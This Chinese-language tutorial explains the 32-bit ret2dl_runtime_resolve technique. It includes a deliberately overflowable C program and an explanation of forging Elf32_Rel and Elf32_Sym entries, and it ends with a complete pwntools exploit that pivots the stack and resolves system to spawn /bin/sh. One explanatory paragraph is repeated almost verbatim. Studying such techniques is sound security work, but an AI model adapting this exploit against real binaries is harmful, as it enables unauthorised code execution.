ret2dl_runtime_resolve

·约 14 分钟

目录
  1. 前置
  2. 原理
  3. 源码
  4. 绑定流程
  5. 四段 payload 的共同骨架
  6. 伪造 reloc_index
  7. 伪造 ELF32_Rel 结构体的值
  8. 伪造 ELF32_Sym 结构体的值
  9. 劫持成目标函数
  10. 小结
  11. 参考文献

前置

ret2libc 里绕不开延迟绑定(lazy binding):动态链接器为了缩短启动时间,把函数地址的绑定推迟到第一次调用时才做(细节见这篇分析)。

这个过程同样可以被劫持,让函数地址绑定成另一个函数。

原理

下文用 ret2dl 代指 ret2dl_runtime_resolve。

32 位和 64 位在参数传递上有差异,这里只讲 32 位的做法。

源码

#include<stdio.h>

void vuln()
{
    char content[0x100];
    read(0, content, 0x200);
}

int main(){
    vuln();
    return 0;
}

编译命令:gcc -m32 -o example example.c -no-pie -fno-stack-protector -w

绑定流程

在 0x804918d(read 的调用点)下断点,一路 si 跟进去,能看到它先跳到 read 的 GOT 项里存的地址;第一次调用时那里面是 read@plt+6:

 ► 0x8049040  <read@plt>                  jmp    dword ptr [read@got[plt]]   <read@plt+6>
    ↓
   0x8049046  <read@plt+6>                push   8
   0x804904b  <read@plt+11>               jmp    0x8049020                   <0x8049020>
    ↓
   0x8049020                              push   dword ptr [_GLOBAL_OFFSET_TABLE_+4]
   0x8049026                              jmp    dword ptr [_GLOBAL_OFFSET_TABLE_+8] <_dl_runtime_resolve>

其过程为 read@plt -> [read@got] = read@plt+6 -> push reloc_index -> push link_map -> _dl_runtime_resolve,该过程中的 reloc_index (上文中的 8 )和 link_map (上文中的 dword ptr [_GLOBAL_OFFSET_TABLE_+4]) 就是确定所绑定的函数信息的。这两个值分别是什么?8 是这条符号信息在 .rel.plt 中的下标(reloc_index)。

以 read 为例,0x080482FC - 0x080482F4 = 8:

LOAD:080482F4 ; ELF JMPREL Relocation Table
LOAD:080482F4                 Elf32_Rel <804C000h, 107h> ; R_386_JMP_SLOT __libc_start_main
LOAD:080482FC                 Elf32_Rel <804C004h, 207h> ; R_386_JMP_SLOT read

四段 payload 的共同骨架

后面每一步都基于同一段骨架:先溢出盖掉返回地址,用 read 把第二段 payload 读进 tar_stack,再用 leave; ret 把栈迁过去。四段的差别只在第二段 payload 里补了哪些字段,所以骨架先给一次,后面每步只说改哪几行。

from pwn import *

context.binary = elf = ELF('./example')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

libc = elf.libc

script = '''
b *0x804919A
'''
io = process(elf.path)
gdb.attach(io, script)

tar_stack = 0x804C800      # 伪造的结构体放在这里
vuln_skip_rbp = 0x8049169
leave_ret = 0x8049199
analyse_func = 0x8049020   # PLT0:push link_map; jmp _dl_runtime_resolve
offset = 0x108

rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr

# 第一段:溢出 + 栈迁移,把第二段 payload 读进 tar_stack
payload  = b'a' * offset
payload += p32(tar_stack - 4)
payload += p32(elf.plt['read'])
payload += p32(leave_ret)
payload += p32(0)          # stdin
payload += p32(tar_stack)
payload += p32(0x600)      # size
io.sendline(payload)

pause()

# 第二段:跳到 PLT0,手动走一遍解析流程
payload  = p32(analyse_func)
payload += p32(reloc_index)                  # ← 下面每步改的就是这里往下几行
payload += p32(0xdeadbeef)                   # 假的返回地址
payload += p32(0) + p32(tar_stack) + p32(0x200)   # 解析完要调的函数与它的参数
io.sendline(payload)

io.interactive()

伪造 reloc_index

reloc_index 指向 .rel.plt 里的哪一条。真的 read 是第 8 条,我们把它改到 tar_stack 附近,再在紧跟着的位置铺一个假的 ELF32_Rel:

reloc_index = tar_stack - rel_plt + 0x18

reloc_index 是相对 .rel.plt 起点的字节偏移,不是数组下标。tar_stack - rel_plt 先算出”假结构所在地址离段首多远”,再加 0x18——这几个字节留给前面调 PLT0 用的参数,假 ELF32_Rel 放在它们后面才不会互相踩。

reloc_index 是相对 .rel.plt 起点的字节偏移,不是数组下标。tar_stack - rel_plt 先算出”假结构所在的地址离段首多远”,再加 0x18——因为这 0x18 字节要留给前面调 PLT0 用的那几项,假 ELF32_Rel 放在它们后面才不会互相踩。

伪造 ELF32_Rel 结构体的值

typedef struct{
  Elf32_Addr r_offset;
  Elf32_Word r_info;
}Elf32_Rel

第一个字段 r_offset 是解析结果(函数真实地址)要写入的地方,正常是对应函数的 GOT 项,伪造时可以继续用,也可以换成任意可写地址。重点在第二个字段 r_info。

r_info = (((tar_stack - dynsym + 0x2C) // 0x10) << 8) | 0x7
# (tar_stack - dynsym + 0x2C) % 0x10 == 0,符号表项必须 16 字节对齐

payload += p32(0x804C004) + p32(r_info)      # 假的 ELF32_Rel

r_info 低 8 位是重定位类型:x86 上用 7(R_386_JMP_SLOT),也就是示例里 0x207 的 07;除低 8 位以外的部分是符号在 .dynsym 里的下标,这里为 2。

LOAD:0804820C ; ELF Symbol Table
LOAD:0804820C                 Elf32_Sym <0>
LOAD:0804821C                 Elf32_Sym <offset aLibcStartMain - offset unk_804825C, 0, 0, 12h, 0, 0> ; "__libc_start_main"
LOAD:0804822C                 Elf32_Sym <offset aRead - offset unk_804825C, 0, 0, 12h, 0, 0> ; "read"

从 0 开始数,下标 1 是 __libc_start_main、2 是 read,所以 0x207 里的 2 正对应 read。伪造时同样把下标填大,指向栈上自己铺的那一项。

伪造 ELF32_Sym 结构体的值

typedef struct
{
  Elf32_Word    st_name;
  Elf32_Addr    st_value;
  Elf32_Word    st_size;
  unsigned char st_info;
  unsigned char st_other;
  Elf32_Section st_shndx;
}Elf32_Sym;

对照真的符号表项,只有 st_name 和 st_info 非零,其余保持 0 即可。st_name 是函数名在字符串表里的偏移,st_info 高 4 位是绑定信息、低 4 位是符号类型。

st_name = tar_stack - dynstr + 0x3C

payload += b'k' * 12        # 对齐填充
payload += p32(st_name) + p32(0) + p32(0) + p8(0x12) + p8(0) + p16(0)  # 假的 ELF32_Sym
payload += b'read\0'

这里只需伪造 st_name,让解析器到栈上读我们写的字符串;st_info 的 0x12 表示”全局函数”。

劫持成目标函数

走完这一遍就能看出:解析器最后是按字符串去查函数的。把这个字符串换成目标函数名,解析结果就成了目标函数。

下面把四步合起来,换成 system("/bin/sh"):

from pwn import *

context.binary = elf = ELF('./example')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

libc = elf.libc

script = '''
b *0x804919A
'''
io = process(elf.path)
gdb.attach(io, script)

tar_stack = 0x804C800
vuln_skip_rbp = 0x8049169
leave_ret = 0x8049199
analyse_func = 0x8049020

rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr

offset = 0x108

# 第一段:溢出 + 栈迁移
payload  = b'a' * offset
payload += p32(tar_stack - 4)
payload += p32(elf.plt['read'])
payload += p32(leave_ret)
payload += p32(0)
payload += p32(tar_stack)
payload += p32(0x600)
io.sendline(payload)

reloc_index = tar_stack - rel_plt + 0x18
r_info = (((tar_stack - dynsym + 0x2C) // 0x10) << 8) | 0x7
st_name = tar_stack - dynstr + 0x3C

pause()

sh_addr = tar_stack + 0x44     # "/bin/sh" 在栈上的位置

# 第二段:伪造 Rel + Sym + 字符串
payload  = p32(analyse_func)
payload += p32(reloc_index)
payload += p32(0xdeadbeef)
payload += p32(sh_addr) + b'k' * 8                    # system 的参数
payload += p32(0x804C004) + p32(r_info)               # 假的 ELF32_Rel
payload += b'k' * 12
payload += p32(st_name) + p32(0) + p32(0) + p8(0x12) + p8(0) + p16(0)  # 假的 ELF32_Sym
payload += b'system\0\0'
payload += b'/bin/sh\0'

io.sendline(payload)

io.interactive()

小结

ret2dl 本身不难理解,好处是不依赖 libc 就能调到程序已导入的任意函数。

64 位的思路一致,区别在 r_info 变成 64 位(并且符号下标在高位)、重定位表换成 .rela.plt、多了一个 r_addend 字段,可以照着这条链路自己走一遍。

参考文献